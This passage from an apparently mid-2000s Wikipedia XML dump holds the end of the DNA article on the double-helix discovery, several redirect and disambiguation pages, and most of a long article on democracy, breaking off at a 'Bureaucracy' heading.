The final insight came when Crick and Watson saw that a complementary pairing of the bases could provide an explanation for Chargaff's puzzling finding. However the structure of the bases had been incorrectly guessed in the textbooks as the [[enol]] [[tautomer]] when they were more likely to be in the [[keto]] form. When [[Jerry Donohue]] pointed this fallacy out to Watson, Watson quickly realised that the pairs of adenine and thymine, and guanine and cytosine were almost identical in shape and so would provide equally sized 'rungs' between the two strands.  With the base-pairing, the Watson and Crick quickly converged upon a model, which they announced before Franklin herself had published any of her work.

Franklin was two steps away from the solution.  She had not guessed the base-pairing and had not appreciated the implications of the symmetry that she had described.  However she had been working almost alone and did not have regular contact with a partner like Crick and Watson, and with other experts such as Jerry Donohoe.  Her notebooks show that she was aware both of Jerry Donohue's work concerning tautomeric forms of bases (she had used the keto forms for three of the bases) and of Chargaff's work.

The disclosure of Franklin's data to Watson has angered some people who believe Franklin did not receive due credit at the time and that she might have discovered the structure on her own before Crick and Watson.  In Crick and Watson's famous paper in Nature in 1953, they said that their work had been stimulated by the work of Wilkins and Franklin, whereas it had been the basis of their work.  However they had agreed with Wilkins and Franklin that they all should publish papers in the same issue of Nature in support of the proposed structure.

====&quot;Central Dogma&quot;====
Watson and Crick's model attracted great interest immediately upon its presentation. Arriving at their conclusion on [[February 21]] [[1953]], Watson and Crick made their first announcement on [[February 28]]. Their paper [http://www.nature.com/genomics/human/watson-crick/ 'A Structure for Deoxyribose Nucleic Acid'] was published on April 25. In an influential presentation in 1957, Crick laid out the &quot;[[Central Dogma]]&quot;, which foretold the relationship between DNA, RNA, and proteins, and articulated the &quot;sequence hypothesis.&quot; A critical confirmation of the replication mechanism that was implied by the double-helical structure followed in 1958 in the form of the [[Meselson-Stahl experiment]]. Work by Crick and coworkers showed that the genetic code was based on non-overlapping triplets of codons, and [[Har Gobind Khorana]] and others deciphered the [[genetic code]] not long afterward. These findings represent the birth of [[molecular biology]].

[[James D. Watson|Watson]], [[Francis Crick|Crick]], and [[Maurice Wilkins|Wilkins]] were awarded the 1962 [[Nobel Prize for Physiology or Medicine]] for discovering the molecular structure of DNA, by which time [[Rosalind Franklin|Franklin]] had died from cancer, at the age of 37. Nobel prizes are not awarded posthumously; had she lived, the difficult decision over whom to jointly award the prize would have been complicated as the prize can only be shared between two or three.

==References==
* ''DNA: The Secret of Life'', by James D. Watson.  ISBN 0-375-41546-7
* ''[[The Double Helix|The Double Helix: A Personal Account of the Discovery of the Structure of DNA (Norton Critical Editions)]]'', by James D. Watson.  ISBN 0393950751

*Chomet, S. (Ed.), D.N.A. Genesis of a Discovery, 1994, Newman-Hemisphere Press, London.
* Delmonte, C. S., http://www.notahelix.com/delmonte/new_struct_mol_biol.pdf
* Delmonte, C. S. and Mann, L. R. B., http://www.ias.ac.in/currsci/dec102003/1564.pdf

==External links==
*[http://www.genome.gov/10506367 U.S. National DNA Day] Watch videos and participate in real-time chat with top scientists
*[http://www.genome.gov/10506718 Genetic Education Modules for Teachers] ''DNA from the Beginning'' Study Guide
*[http://www.genome.gov/glossary.cfm Talking Glossary of Genetic Terms] In Spanish, too
*[http://www.nature.com/nature/dna50/watsoncrick.pdf Watson &amp; Cricks original nature publication]
*Listen to Francis Crick and James Watson talking on the BBC in 1962, 1972, and 1974:http://www.bbc.co.uk/bbcfour/audiointerviews/profilepages/crickwatson1.shtml
*[http://news.bbc.co.uk/1/hi/sci/tech/2949629.stm 17 April, 2003, BBC News: Most ancient DNA ever?]
*[http://www.whatsnextnetwork.com/health/index.php?cat=61 Latest Advances In Gene Research]
*[http://www.dnai.org DNA Interactive] (requires [[Macromedia Flash]])
*[http://3dscience.com/3d_dna_models.asp Free 3d DNA model Images]
*[http://nist.rcsb.org/pdb/molecules/pdb23_1.html DNA: PDB molecule of the month]
*[http://www.fidelitysystems.com/Unlinked_DNA.html DNA under electron microscope]
*[http://www.myfirstbookaboutdna.com My First Book About DNA] Designed for children to learn more about DNA.
*{{dmoz|Science/Biology/Biochemistry_and_Molecular_Biology/Biomolecules/Nucleic_Acids/|Nucleic Acids}}
*[http://www.rotten.com/library/medicine/dna/ Rotten Library] articles on DNA
*Watson, James, and Francis Crick, &quot;''[http://web.archive.org/web/20050401065957/http://biocrs.biomed.brown.edu/Books/Chapters/Ch+8/DH-Paper.html Molecular structure of nucleic acids], A structure for Deoxyribose Nucleic Acid''&quot;. April 2, 1953. (paper on the structure of DNA)
*[http://www.zytologie-online.net/dna.php DNA Replication and Translation / Cell Biology]
{{Nucleic acids}}

&lt;!--Interwiki--&gt;
&lt;!--Categories--&gt;

[[Category:Nucleic acids]]
[[Category:Genetics]]
[[Category:DNA|*]]

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    </revision>
  </page>
  <page>
    <title>Dna</title>
    <id>7956</id>
    <revision>
      <id>15905989</id>
      <timestamp>2005-06-13T14:04:25Z</timestamp>
      <contributor>
        <username>Eraserhead1</username>
        <id>274035</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[DNA_(disambiguation)]]</text>
    </revision>
  </page>
  <page>
    <title>Dead Kennedy Family Members</title>
    <id>7957</id>
    <revision>
      <id>21988199</id>
      <timestamp>2005-08-27T22:39:26Z</timestamp>
      <contributor>
        <ip>69.216.235.190</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Kennedy family]]</text>
    </revision>
  </page>
  <page>
    <title>Deflation</title>
    <id>7958</id>
    <revision>
      <id>33453689</id>
      <timestamp>2006-01-01T05:55:53Z</timestamp>
      <contributor>
        <username>Terjepetersen</username>
        <id>36278</id>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|deflation}}

'''Deflation''' may mean:

* [[Deflation (economics)]], a decrease in the general price level (opposite of inflation)
* [[DEFLATE (algorithm)]], a lossless data compression algorithm
* The removal of loose soil by [[eolian]] (wind) processes



{{disambig}}

[[pl:Deflacja]]</text>
    </revision>
  </page>
  <page>
    <title>Democracy</title>
    <id>7959</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42154555</id>
      <timestamp>2006-03-04T04:28:13Z</timestamp>
      <contributor>
        <ip>71.198.27.179</ip>
      </contributor>
      <comment>/* 20th century waves of democracy */</comment>
      <text xml:space="preserve">{{dablink|This article deals with democracy in general and its various forms.  For specific types of democracy, see [[Democracy (disambiguation)]]}}
{{Elections|
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'''Democracy''' (from [[Greek language|Greek]] &amp;delta;&amp;eta;&amp;mu;&amp;omicron;&amp;kappa;&amp;rho;&amp;alpha;&amp;tau;&amp;#943;&amp;alpha; (demokratia), &amp;delta;&amp;eta;&amp;mu;&amp;omicron;&amp;sigmaf; (demos) ''the common people'' +  &amp;kappa;&amp;rho;&amp;alpha;&amp;tau;&amp;epsilon;&amp;iota;&amp;nu; (kratein) ''to rule'' +  the suffix &amp;#943;&amp;alpha; (ia),  literally &quot;the common people rule&quot;) is a system where the population of a [[society]] controls the [[government]]. It may be narrowly defined as that of [[nation-state]] government specifically, or more broadly to describe a society as a whole, which can also exert [[political power|political power]] and [[power (sociology)|social power]].

Democratic ''government'' aspires to serve under &quot;the people&quot; rather than ruling over them. This ideal is pursued by implementing some form of a [[voting system]], usually involving indirect [[representative democracy|representation]] (see also [[republic]]).

[[Liberal democracy]] is defined as democracy over an entire society, and implies [[individual rights|individual]] [[liberty]] and individual responsibility as a [[citizenship|citizen]] of that society. It extends the concept of distributed power all of the way to individual citizens in their personal domains - personal sovereignty and [[private property]] tempered by civic duty. In such a society, sovereignty originates in the people and is delegated to government rather than vice versa.

Because democratic government and democratic society are inter-related and used interchangeably, they are often confused, usually when one expects all of the benefits of democratic society to follow from the mechanisms of democratic government. While a democratic society has a democratic government, the reverse is not always true. A democratic government, while preventing [[despotism]] of abuse of power by a governing minority, does not protect other minorities from social forces from other members of society with other forms of power that may be played out through [[plutocracy]] within an existing democratic government, or [[majoritarianism]]. Democratic governments may be &quot;liberal&quot;, where fundamental rights of individuals in the minority are protected by law, or they may be &quot;illiberal&quot; where they are not.

== Democratic government ==
Democracy is often implemented as a [[form of government]] in which policy is decided by the preference of the [[True democracy|real majority]], as opposed to a partial or relative majority of the demos or citizens, in a decision-making process, generally [[consensus decision-making]],  usually  [[election|elections]] or [[referenda]], open to all or most [[citizenship|citizens]].  In recent decades 'democracy' was used as a synonym for [[western world|western]] [[liberal democracy|liberal-democratic]] systems in [[nation-state]]s, but the existence of &quot;[[illiberal democracy|illiberal democracies]]&quot; is now recognised. The qualifier &quot;liberal&quot; in this context refers strictly speaking to [[constitutional liberalism]] and individual rights, but &quot;liberal democracy&quot; is widely used to describe other aspects that arise. Definitions of democracy have in any case broadened to include aspects of society and political culture in democratic societies, which are not specifically a &quot;form of government&quot;. Most liberal-democracies are parliamentary [[representative democracy|representative democracies]], but there are many [[Democracy (varieties)|varieties of democracy]], some still hypothetical. The term &quot;democratic&quot; is also used in a looser sense, to describe participatory decision-making in groups or organizations.

Indeed, due to implications of comparative government, other preferred governments included: theocracy, monarchy, parliamentary republic, and republic. Since there are these other forms of government, the preference for the democratic form is itself an [[ideology]], and a source of conflict. Despite its historical importance, there is no separate name for this ideology; it is referred to as 'pro-democracy' or simply 'democracy'. It is a [[Universalism|universal]] ideology: most supporters of democracy consider it to be the only [[ethics|ethically legitimate]] form of government, and believe it should replace all other forms of government. [[Democratization]] is the replacement of these non-democratic forms by a democracy. If it continues, some consider that this process will make the liberal-democratic nation-states the standard form of human [[society]], although they are historically recent and historically unique. This transition is the core of the [[end of history]] thesis.

==History of democracy==
{{main|History of democracy}}
An early form of democracy was used by [[republic]]s  of [[Mahajanapadas|Maha Janapadas]] in [[ancient India]] before the [[6th century BC]], before the time of [[Buddhism]]. &lt;ref&gt; Steve Muhlberger, ([[February 8]], [[1998]]). [http://www.nipissingu.ca/department/history/MUHLBERGER/HISTDEM/INDIADEM.HTM Democracy in Ancient India]. Retrieved [[February 19]], [[2006]]. &lt;/ref&gt; Among these states, [[Vaishali]] was the first [[oligarchic]] republic of the world. Later on, during the time of [[Alexander the Great]] during the [[4th century BC]], the Greeks came in contact with two of these republics, the Sabarcae and Sambastai states in what is now [[Pakistan]] and [[Afghanistan]], whose &quot;form of government was democratic and not regal&quot; according to Greek scholars at the time.

The term &quot;democracy&quot; in the original word in Ancient Greek - was coined in [[ancient Athens]] in the [[5th century BC]]. [[Athenian democracy]] is generally seen as one of the earliest examples of a system corresponding to ''some'' of the modern notions of democratic rule. Only a sixth or a quarter of the whole adult male population of Athens could vote; but this was a bar of [[nationality]], like the present German franchise, not of economic status: however poor they were, all Athenian citizens were free to vote and speak in the Assembly. Ancient Athenian citizens made decisions directly, rather than voting for representatives.

Over time, the meaning of &quot;democracy&quot; has changed, and the modern definition has largely evolved since the [[18th century]], alongside the successive introduction of &quot;democratic&quot; systems in many nations.

[[Freedom House]] argues that there was not a single liberal democracy with universal suffrage in the world in [[1900]] although this statement is inaccurate as [[New Zealand]] achieved universal suffrage well before this date, but that today 120 of the world's 192 nations, or 62% are such democracies. They count 25 nations, or 19% of the world's nations with &quot;restricted democratic practices&quot; in 1900 and 16, or 8% of the world's nations today. They counted 19 constitutional monarchies in 1900, forming 14% of the world's nations, where a constitution limited the powers of the monarch, and with some power devolved to elected legislatures, and none in the presnet. Other nations had, and have, various forms of non-democratic rule. Some states have changed their regimes after 2000, for example [[Nepal]] which has become a non-democracy after the government assumed [[emergency powers]] because of defeats in the [[Nepalese civil war]].

===20th century waves of democracy===
The [[20th century]] expansion of democracy has not taken the form of a slow transition in each country, but as successive &quot;waves of democracy&quot;, some associated with [[war]]s and [[revolution]]s. In several cases there was an explicit imposition of democracy by external military force. To some supporters of democracy, this is a 'liberation', implying that no prior consent is required. The [[World War I]] resulted in the creation of new nation-states in Europe, most of them nominally democratic. It did not at first affect the existing democracies: France, Britain, Belgium and Switzerland kept their system of government, the [[German Revolution|revolutionary violence]] in Germany subsided, and the democratic [[Weimar Republic]] was established. The rise of [[fascism|fascist]] movements, and fascist regimes in [[Nazi Germany]], [[Mussolini]] in Italy, [[Francisco Franco]]'s regime in [[Spain]] and [[Salazar]]'s regime in Portugal]], limited the extent of democracy in the 1930s, and gave the impression of an &quot;Age of Dictators&quot;. The status of most [[colonies]] remained unaffected. However democracy is evident from earlier years. For example during the Second GreatAwaking, beginning in the 1790s and last for 40 years, where religion became more democractic as people shifted away from [[Calvinism|Calvinist]] ideas during the 1820s-1830s.

[[World War II]] brought a definitive reversal of this trend, in western Europe. At the time, and since, it was seen as a &quot;Victory for Democracy&quot;, showing that democracy can be extended by military force. The [[Allied Control Council|occupation of Germany]] and its successful ‘democratisation from above’, served as a model for the later theory of [[regime change]]. However, most of Eastern Europe became part of the non-democratic [[Soviet bloc]]. Unlike World War I, the war brought [[decolonisation]], and again most of the new independent states had nominally democratic constitutions.

In the decades following World War II, most western democratic nations had a [[mixed economy]] and developed a [[welfare state]], reflecting a consensus among their electorates and political parties. In the 1950’s and 1960’s, economic growth was high in both the western and ‘communist’ countries, later it declined in the state-controlled economies, and in some western countries. Economic malaise in the 1980’s contributed to the collapse of the Soviet Union, the associated end of the Cold War, and the [[democratisation]] and [[liberalisation]] of the former Soviet bloc countries, including newly independent [[Soviet Republic]]s. To western public opinion, and to part of their population, this also was a ‘liberation’. To a large section of their population, often the majority, the resulting economic collapse, and the sudden disappearance of state health and welfare provisions was a disaster. The sense of disillusion contributed to a political backlash, the rise of [[illiberal democracy]] in [[Central Asia]], and a trend to [[authoritarian]] rule in Russia itself. The most successful of the ‘new democracies’ were those geographically and culturally closest to western Europe, and they are now members or candidate members of the [[European Union]]. The initial negative effects of the ‘free-market reforms’ were corrected to some extent by the re-introduction of social services and programs, although not at western European level.

Although economic systems are in theory distinct from political systems, the [[centrally planned economy]] of the communist era is no longer seen as compatible with democracy. All modern democratic societies have a free-market economy, (although not in the sense that [[libertarian]]s would accept). However, it is possible for a democratic electorate to vote for a centrally planned economy.

By 1960, the vast majority of the world's nation-states were nominally independent democracies, although the majority of the world's populations lived in nations that experienced sham elections, &quot;limited democracy&quot;, &quot;one-party system&quot;, &quot;two-party system&quot;, &quot;president for life&quot; and other forms of subterfuge. Subsequent waves of democratization brought substantial leaps toward true representative or direct democracy to nations that already claimed the title. Eastern Europe and some of Central Asia in the 90s, much of Latin America and Southeast Asia, Taiwan and S Korea in the 90s and 00's, and some Arab states, notably Lebanon and the Palestinian Authority.

==Essential elements of a democracy==
True democracy as a form of government always has the following characteristics:

* there is constrained freedom to further the public good. Stated in negative terms, limits, sometimes vigorous ones, are essential to ensure that acts that infringe upon others freedom, such as [[murder]] and [[theft]], do not occur. This may be thought of as [[negative liberty]]. Stated in positive terms, infinite freedom is of the essence to explore within, but not exceed, the boundaries defined by the edge of chaos, such as populist revolutions which identify, advocate for, and create consensus around new forms of government that can achieve both the social justice envisioned by Karl Marx and the economic prosperity envisioned by Adam Smith, but without [[fascism]], [[anomie]], or [[violence]]. This is thought of as [[positive liberty]]. &lt;ref&gt;Kim J. Vicente, (1999). ''Cognitive Work Analysis : Toward Safe, Productive, and Healthy Computer-Based Work''. ISBN 0805823972.&lt;/ref&gt; 
* there is a ''demos'', a group which makes political decisions by some form of collective procedure. Non-members of the demos do not participate. In modern democracies the demos is the [[nation]], and [[citizenship]] is usually equivalent to membership.
* there is a ''territory'' where the decisions apply, and where the demos is resident. In modern democracies, the territory is the [[nation-state]], and since this corresponds (in theory) with the homeland of the nation, the demos and the reach of the democratic process neatly coincide. Colonies of democracies are not considered democratic in themselves, if they are governed from the colonial [[motherland]]: demos and territory do not coincide.
* there is a ''decision-making procedure'', which is either direct, in an instances such as a [[referendum]], or indirect, of which instances include the election of a [[parliament]].
* the procedure is regarded as ''legitimate'' by the demos, implying that its outcome will be accepted. [[Legitimacy (political science)|Political legitimacy]] is the willingness of the population to accept decisions of the [[state]], its government and courts, which go against personal choices or interests. It is especially relevant for democracies, since elections have both winners and losers.
* the procedure is ''effective'' in the minimal sense that it can be used to change the government, assuming there is sufficient support for that change. Showcase elections, pre-arranged to re-elect the existing regime, are not democratic.
* the demos has a long-term ''unity'' and continuity, from one decision-making round to the next, without [[secession]] of the minority.
* in the case of nation-states, the state must be [[sovereignty|sovereign]]: democratic elections are pointless if an outside authority can overrule the result.

However, that the political philosopher [[Charles Blattberg]] has criticized the attempt to define democracy with a set of necessary and sufficient conditions. &lt;ref&gt;[[Charles Blattberg]], (2000). From Pluralist to Patriotic Politics: Putting Practice First'', [[Oxford University Press]], ch. 5. ISBN 0-19-829688-6.&lt;/ref&gt;

===Four conceptions of democracy===
Among political theorists, there are at least four major contending conceptions of democracy.

On one account, called minimalism, democracy is a system of government in which citizens give teams of political leaders the right to rule in periodic elections. According to this minimalist conception, citizens cannot and should not “rule” because on most issues, most of the time, they have no clear views or their views are not very intelligent. [[Joseph Schumpeter]] articulated this view most famously in his book ''Capitalism, Socialism, and Democracy'' &lt;ref&gt;[[Joseph Schumpeter]], (1950). ''Capitalism, Socialism, and Democracy''. Harper Perennial. ISBN 0061330086.&lt;/ref&gt;. Contemporary proponents of minimalism include William Riker, Adam Przeworksi, and [[Richard Posner]].

A second view is called the aggregative conception of democracy. It holds that government should be a system that produces laws and policies that conform to the vector-sum of citizens’ preferences. A good democratic government is one that produces laws and policies that are close to the views of the median voter &amp;mdash; with half to his left and the other half to his right. [[Anthony Downs]] laid out this view in his 1957 book ''An Economic Theory of Democracy''. &lt;ref&gt;[[Anthony Downs]], (1957). ''An Economic Theory of Democracy''. Harpercollins College. ISBN 0060417501.&lt;/ref&gt;

A third conception, [[deliberative democracy]], is based on the notion that democracy is government by discussion. Deliberative democrats contend that laws and policies should be based upon reasons that all citizens can accept. The political arena should be one in which leaders and citizens make arguments, listen, and change their minds.

[[Participatory democracy]], a fourth conception, holds that citizens should participate directly, not through their representatives, in making laws and policies. Proponents of participatory democracy offer varied reasons to support this view. Political activity can be valuable in itself, it socializes and educates citizens, and popular participation can check powerful elites. Most importantly, citizens do not really rule themselves unless they directly decide laws and policies.

===Political legitimacy and democratic culture===
All forms of government depend on their [[Legitimacy (political science)|political legitimacy]], that is, their acceptance by the population. Without that, they are little more than a party in a [[civil war]], since their decisions and policies will be resisted, probably by force. Apart from those with anti-statist objections, such as [[anarchism|anarchists]] and [[Libertarianism|libertarians]], most people are prepared to accept their governments as necessary. Failure of political legitimacy in modern states is usually related to [[separatism]] and ethnic or religious conflicts, rather than political differences. However there are historical examples, notably the [[Spanish Civil War]], where the population split along political lines.

In a democracy, a high degree of political legitimacy is necessary, because the [[elections|electoral process]] periodically divides the population into 'winners' and 'losers'. A successful democratic political culture implies that the losing parties and their supporters accept the judgment of the voters, and allow for the peaceful transfer of power - the concept of a &quot;[[loyal opposition]]&quot;. Ideally political competitors may disagree, but acknowledge the other side's legitimate role, and ideally society encourages tolerance and civility in public debate. This form of political legitimacy implies that all sides share common fundamental [[values]]. Voters must know that the new government will not introduce policies they find totally abhorrent. Shared values, rather than democracy as such, guarantee this.

Free elections alone are not sufficient for a country to become a true democracy; the culture of the country's political institutions and [[civil service]] must also change. This is an especially difficult cultural shift to achieve in nations where transitions of power have historically taken place through violence. There are various examples, such as [[Revolutionary France]], modern [[Uganda]] and [[Iran]], of countries that were able to sustain democracy only in limited form until wider cultural changes occurred to allow true majority rule.

===Comparison of direct and representative democracy===
The definition of the word &quot;democracy&quot; from the time of ancient Greece up to now has not been constant. In contemporary usage, the term &quot;democracy&quot; refers to a government chosen by the people, whether it is direct or representative.

There is another definition of democracy, particularly in constitutional theory and in historical usages and especially when considering the works of the [[Founding Fathers of the United States]].  According to this usage, the word &quot;democracy&quot; refers solely to [[direct democracy]], whilst a [[representative democracy]] where representatives of the people govern in accordance with a constitution is referred to as a republic. This older terminology retains some popularity in United States [[Political conservatism|conservative]] and [[Libertarian Party (United States)|Libertarian]] debate.

The original framers of the [[United States Constitution]] were notably cognizant of what they perceived as a danger of majority rule in oppressing freedom of the individual. For example, [[James Madison]], in [[Federalist Papers|Federalist Paper No. 10]] advocates a [[republic]] over a democracy precisely to protect the individual from the majority. &lt;ref&gt;James Madison, ([[November 22]], [[1787]]). [http://en.wikisource.org/wiki/Federalist_No._10 &quot;The Federalist No. 10 - The Utility of the Union as a Safeguard Against Domestic Faction and Insurrection (continued)&quot;], ''Daily Advertiser''. [[New York]]. Republished by [[Wikisource]].&lt;/ref&gt; However, at the same time, the framers carefully created democratic institutions and major [[open society]] reforms within the United StatesConstitution and the [[United States Bill of Rights]].  They kept what they believed were the best elements of democracy, but mitigated by a balance of power and a layered federal structure.

Modern definitions of the term &quot;republic&quot;, however, refer to any [[state]] with an elective [[head of state]] serving for a limited term, in contrast to most contemporary [[hereditary monarchy|hereditary monarchies]] which are representative democracies and [[constitutional monarchy|constitutional monarchies]] adhering to [[parliamentarism]]. Older [[elective monarchy|elective monarchies]] are also not considered to be republics.

==Liberal democracy==
{{main|Liberal democracy}}

In common usage, ''democracy'' is often understood to be the same as ''liberal democracy''. The minimal characteristics of democracy (listed above) are not generally considered to make a democracy 'liberal'. In practice, the term now denotes a collection of defining criteria, some of which are unrelated to each other. They are sometimes presented as a list of demands, to be fulfilled during a [[democratisation]] process. Note that many liberal democracies have emergency powers which can make them temporarily less liberal, if applied (by the executive, parliament, or via referenda).

Liberal democracy is, strictly speaking, a form of [[representative democracy]] where the [[political power]] of the government is moderated by a [[constitution]] which protects the [[right]]s and [[political freedom|freedoms]] of individuals and [[minority|minorities]] (also called constitutional liberalism). The constitution therefore places constraints on the extent to which the [[majoritarianism|will of the majority]] can be exercised. Usually, the executive and parliament are constitutionally subject to the [[rule of law]], but some liberal democracies allow no judicial review of constitutionality. Theorists consider these to be the most important 'liberal' element of liberal democracy, but the term is widely used for other elements. In any case, institutional protection for specific minority rights limits the democratic power of the ''majority'', on those specific issues, and can not in itself resolve a conflict between the two groups. Democracies without protection of minority rights are now often called [[illiberal democracy|illiberal democracies]].

The term &quot;liberal&quot; in &quot;liberal democracy&quot; does not imply that the government of such a democracy must follow the political ideology of [[liberalism]]. It is merely a reference to the fact that the initial framework for modern liberal democracy was created by liberals of the late [[18th century|18th]] and early [[19th century|19th]] centuries. Since then, many non-liberals have given their support to liberal democracy - and, indeed, contributed to its growth.

Liberal democracy is sometimes the [[de facto]] form of government, while other forms are technically the case; for example, [[Canada]] has a [[Canadian monarchy|monarchy]], but is in fact ruled by a democratically elected [[Parliament of Canada|Parliament]]. In the United Kingdom, the sovereign is the hereditary monarch, but the de facto (legislative) sovereign is the people, via their elected representatives in Parliament, hence a democracy.

===Preconditions and structure===
Although they are not a system of government as such, it is now common to include aspects of society among the defining criteria of a liberal democracy. The presence of a [[middle class]], and a broad and flourishing [[civil society]] are often seen as pre-conditions for liberal democracy.

Western support for democratisation is almost always associated with support for a [[market economy]]. In western countries, they do seem inseparable, but that is a geographically and historically limited view. [[China]], which is certainly not a liberal democracy, has a free market economy. The emergence of [[capitalism]] pre-dates the emergence of democracy, which leads some theorists to conclude that there is a historical sequence at work, and that market economics is not only a precondition, but will ultimately ''ensure'' the transition to democracy, in countries such as China. However, many [[Marxism|Marxists]] and [[socialism|socialists]] say that [[capitalism]] and true democracy are at best unrelated and at worst contradictory.

The most [[liberalism|liberal]] of the many criteria now used to define liberal democracy, or simply &quot;democracy&quot;, is the requirement for political [[pluralism]], which is usually defined as the presence of multiple and distinct [[political parties]]. The liberal-democratic political process should be ''competitive'', and analogies with economic markets are often used in this context.

The liberal-democratic [[constitution]] defines the democratic character of the state. In the American political tradition, the purpose of a constitution is often seen as a limit on the authority of the government, and American ideas of liberal democracy are influenced by this. They emphasise the [[separation of powers]], an independent judiciary, and a system of [[checks and balances]] between branches of government. European constitutional liberalism is more likely to emphasise the ''Rechtsstaat'', usually translated as [[rule of law]], although it implies a specific form of [[state]] or [[regime]].

Liberal democracy is also defined by [[universal suffrage]], granting all citizens the right to vote regardless of race, gender or property ownership. However, the universality is relative: many countries regarded as democratic have practised various forms of [[Suffrage#Forms of exclusion from suffrage|exclusion from suffrage]], or demand further qualifications (except for being a citizen), like a registration procedure to be allowed to vote. Voting rights are limited to those who are above a certain age, typically 18. In any case, decisions taken through elections are taken not by all of the citizens, but rather by those who choose to participate by voting.

===Liberal freedoms===
The most often quoted criteria for liberal democracy take the form of specific rights and freedoms. They were originally considered essential for the functioning of a liberal democracy, but they have acquired such prominence in its definition, that many people now think they are democracy. Since no state wants to admit it is &quot;unfree&quot;, and since its enemies may be depicted as 'tyrannies' by its propagandists, they are also usually contested.

In practice, democracies do have specific limits on specific freedoms. In democratic theory, the common justification for these limits is that they are necessary to guarantee the existence of democracy, or the existence of the freedoms themselves. According to this argument, allowing free speech for the opponents of free speech logically undermines free speech. In Europe, this has become a political issue with the rise of [[Islamism|Islamist]] political argument, which often does explicitly reject such liberal freedoms. Opinion is divided on how far democracy can extend, to include the enemies of democracy in the democratic process.

*[[Freedom of speech|Freedom of expression]], including speech, assembly and protest. There are various legal limitations like [[copyright]] and [[defamation]], more general restrictions may include restrictions on anti-democratic speech, on attempts to undermine [[human rights]], on the promotion or justification of [[terrorism]], and in some cases on &quot;anti-western&quot; ideas. In the United States more than in Europe, during the [[Cold War]], such restrictions generally applied to [[Communism|Communists]], now they are mainly applied to Islamists.
*[[Freedom of the press]] and access to alternative information sources is considered a characteristic of liberal democracy. For certain groups, however, it may be limited: [[Islamist]] media now face restrictions in many democracies, including [[censorship]] of satellite broadcasting in France, and proposed bans on Islamist websites in several countries.
*[[Freedom of association]] is also restricted in democracies, for groups considered a threat to state or society. Most democracies have procedures to ban organisations, on suspicion of [[terrorism]], for instance, and usually without a prior judicial procedure. The [[European Union]] has an official list of banned organisations, overriding the freedom of association in the [[European Convention on Human Rights]] and the national constitutions.
*Equality before the law and [[due process]] under the [[rule of law]] is considered a characteristic of liberal democracy, but the United States holds certain categories of prisoners in [[Guantanamo Bay]], and possibly in other secret prisons, without trial, and without any specific grounds in domestic or international law. If relatively small numbers of people, seen as mortal enemies by the majority of the population, are excluded from legal protections, a country may still be seen as a liberal democracy: it is not qualitatively different from repressive autocracy, but ''quantitatively'' different.

===Comparison of proportional and majoritarian representation===
Some electoral systems, such as the various forms of [[proportional representation]], attempt to ensure that all political groups, including minority groups that vote for minor parties, are represented &quot;fairly&quot; in the nation's legislative bodies, according to the proportion of total votes they cast; rather than the proportion of electorates in which they can achieve a regional majority majoritarian representation.

This proportional versus majoritarian dichotomy is not just a theoretical problem, as both forms of electoral system are common around the world; each creates a very different kind of government. One of the main points of contention is whether to use the system of using representatives who are able to represent small regions in a country, versus having all citizens' vote count the same, regardless of where in the country they happen to live. Some countries such as [[Germany]] and [[New Zealand]] have a large proportion of representatives elected from constituencies and then shares out compensating mandates so that parties are represented proportionally, so as to get balance both needs. This system is commonly called [[mixed member proportional representation]].

===Social democracy===
{{main|Social democracy}}

Social democracy can be considered to be derived from [[Socialism|socialist]] and [[Communism|communist]] ideas, in a [[progressivism|progessive]], gradualist and constitutional setting. Many social democratic parties in the world are evolutions of revolutionary parties that, for ideologic or pragmatic reasons, came to embrace a strategy of gradual change through existing institutions, or a policy of working for liberal reforms prior to more profound social change, instead of sudden revolutionary change. It may for example, involve [[progressivism]].

In North America and Western Europe, most parties calling themselves ''socialist'' or ''communist'' are in actuality social democratic, according to the definition given here. In some extreme cases, as in [[Portugal]]'s [[Social Democratic Party (Portugal)|Social Democratic party]], the name actually indicates a right-wing party.

In general, the hallmarks of social democracy are:
*[[Regulation|Market regulation]];
*[[Social security]], also known as [[welfare state]];
*Subsidized or government-owned [[public school]] and [[public health]] services;
*[[Progressive taxation]].

Furthermore, for ideological affinity or other reasons, most social democrats are also associated with [[environmentalism]], [[multiculturalism]], and [[secularity]].

Countries often indicated as social democracies are the [[Nordic countries]], for their extensive welfare states and progressive taxation regime. These social democracies are at the same time liberal democracies.

==Illiberal democracy==
{{main|Illiberal democracy}}

An illiberal democracy is a political system where democratic elections exist, and the government is elected by a democratic majority, but is not restrained from encroaching on the liberty of individuals, or minorities. This may be due to a lack of constitutional limitations on the power of the elected executive, or violations of the existing legal limitations. The experience in some [[post-Soviet]] states drew attention to the phenomenon, although it is not of recent origin. Some critics of illiberal regimes now suggest that the [[rule of law]] should take precedence over democracy, implying a ''de facto'' Western acceptance of what are called &quot;liberalised autocracies&quot;. &lt;ref&gt;Pugwash Online, (2004). [http://www.pugwash.org/reports/rc/me/ME2004/me2004report.htm Prospects for the Peace Process]. Accessed [[February 19]], [[2006]].&lt;/ref&gt;

==Advantages and disadvantages of democracy==
Critics of democracy as a form of government allege it has inherent disadvantages, both in practice and by its very nature. Some of which may be shared by some or all other forms of government, while others may be unique to democracy.

===Ethnic and religious conflicts===
Democracy, and especially liberal democracy, necessarily assumes a sense of shared values in the demos, otherwise political legitimacy will fail. In other words, it assumes that the demos is in fact a unit. For historical reasons, many states lack the cultural and ethnic unity of the ideal [[nation-state]]. There may be sharp ethnic, linguistic, religious and cultural divisions. In fact, some groups may be actively hostile to each other. A democracy, which by definition allows mass participation in decision-making, by definition, also allows the use of the political process against the 'enemy'. That is especially visible during [[democratisation]], if a previous non-democratic government suppressed internal rivalry. However, it is also visible in established democracies, in the form of anti-immigrant [[populism]].            

The collapse of the [[Soviet Union]] and the [[democratisation]] of Soviet bloc states led to wars and [[civil war]] in the former [[Yugoslavia]], in the [[Caucasus]], and in [[Moldova]]; wars have also continued in Africa and other parts of the [[Third World]]. Nevertheless, statistical research shows that the fall of [[Communism]] and the increase in the number of democratic states were accompanied by a sudden and dramatic decline in total warfare, interstate wars, [[ethnic]] wars, [[revolutionary]] wars, and the number of [[refugees]] and [[displaced person]]s &lt;ref&gt;Center for Systemic Peace, (2006). [http://members.aol.com/CSPmgm/conflict.htm Global Conflict Trends - Measuring Systematic Peace]. Accessed [[February 19]], [[2006]].&lt;/ref&gt;.

===Bureaucracy===
